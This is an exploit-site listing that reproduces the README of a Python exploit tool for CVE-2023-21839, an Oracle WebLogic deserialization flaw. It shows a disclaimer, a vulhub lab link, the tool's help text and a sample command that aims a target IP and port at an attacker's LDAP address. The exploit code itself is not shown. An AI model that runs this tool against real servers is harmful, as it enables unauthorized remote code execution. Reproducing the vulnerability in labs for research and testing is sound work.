Sploitus

Exploit for Deserialization of Untrusted Data in Oracle Weblogic Server

githubexploit Β· 2023-04-15

Exploit Code

README35 lines
## https://sploitus.com/exploit?id=A83548D9-1F85-587D-AF85-3BD82068A81B
# CVE-2023-21839

Due to special requirements, the GO version of @[4ra1n](https://github.com/4ra1n) has been translated into Python. Thank you for that! ## Disclaimer

**This program should only be used for authorized security testing and research purposes. Please use it in accordance with network security laws.**

**If users engage in any illegal activities using this tool, the author is not responsible.**

## Usage

Replicate with vulhub: [Link](https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839)

```python

   ___         __    ____   ___ ____  _____      ____  _  ___ _____ ___
  / __\/\   /\/__\  |___ \ / _ \___ \|___ /     |___ \/ |( _ )___ // _ \
 / /   \ \ / /_\_____ __) | | | |__) | |_ \ _____ __) | |/ _ \ |_ \ (_) |
/ /___  \ V //_|_____/ __/| |_| / __/ ___) |_____/ __/| | (_) |__) \__, |
\____/   \_/\__/    |_____|\___/_____|____/     |_____|_|\___/____/  /_/

Usage: CVE-2023-21839.py [-h] [-ip] [-p] [-l]

Please enter parameters

Optional arguments:
  -h, --help    Show this help message and exit
  -ip, --ip     Target IP
  -p, --port    Target port
  -l, --ldap    LDAP address

    python3 CVE-2023-21839.py -ip xx -p xx -l ldap://xx    
```

![image-20230421155035098](README.assets/image-20230421155035098.png)